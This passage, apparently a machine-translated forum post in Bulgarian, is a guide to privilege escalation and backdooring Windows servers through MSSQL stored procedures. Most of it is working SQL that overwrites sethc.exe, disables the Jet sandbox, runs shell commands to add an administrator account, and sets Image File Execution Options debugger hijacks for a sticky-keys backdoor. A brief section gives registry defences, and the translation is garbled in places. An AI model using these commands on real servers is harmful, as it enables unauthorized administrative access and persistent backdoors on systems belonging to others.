'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe'; Това изявление копира sethc.exe в директорията dllcache Declare @oo int exec sp_oacreate 'scrip remove ting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\ sethc.exe'; Останалите две оператори използват sp_oacreate съхранени процедури, които трябва да използват odsole70.dll файл, така че оцеляването на този файл е свързано с успеха на неговото създаване. (2), xpsql.cpp: Грешка 5 от CreateProcess (ред 737) Тази ситуация е по-сложна и се казва в интернет EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0 Изберете * от OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Изберете * от OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")'); Проверих пясъчника, за да повдигна правата по този въпрос, но според моята практика този процент на успех е много нисък, защото повечето сървъри са изтрили c:\windows\system32\ias\ias.mdb. След това можете да опитате отвличане на изображение и сетхт, разбира се, отвличането на изображение също е условно, 1 да съществува xp_regwrite тази съхранена процедура 2 е 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',' Debugger' не е изтрит Първо можете да попитате дали sticky ключът на регистъра е бил отвлечен Изпълнителен майстор... xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image file execution options\sethc.exe','Debugger' Ако подканението не открие проблема, доказателството се изтрива, няма как sethc.exe се изпълни sql командата, ако бъде подканено. ИЗПЪЛНИТЕЛЕН МАЙСТОР... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe' След като се свържа с терминала 5 пъти и превключвам, той отива директно на работния плот и след това го добавя ръчно.
Регистърът променя терминалния порт
[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WDS \ rdpwd \ Tds \ tcp]
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WinStations \ RDP-Tcp,
Що се отнася до предотвратяването на отвличане на изображения, то се постига основно чрез следните методи:
★ Закон за ограничаване на разрешения
Ако потребителят вече няма достъп до ключа за регистъра, той не може да променя тези неща. Отворете редактора на регистъра и отидете в HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options – изберете този елемент, кликнете с десен бутон - > разрешения - > разширени и намалете правата на администратора и системните потребители (тук просто трябва да отмените операцията за запис).
★ Метод с бързо рязане на разхвърлян коноп с нож
Отворете редактора на регистъра и отидете в лентата
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
Проблемът може да бъде решен чрез директно изтриване на елемента Опция за изпълнение на файла на изображението.
SQL Command отвлича бекдор за инсталиране на sticky key в регистъра xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Debugger','REG_SZ',''C:\WINDOWS\system32\kdsn.exe'
Изтегляне на софтуер:Туристи, ако искате да видите скритото съдържание на този пост, моля Отговор
|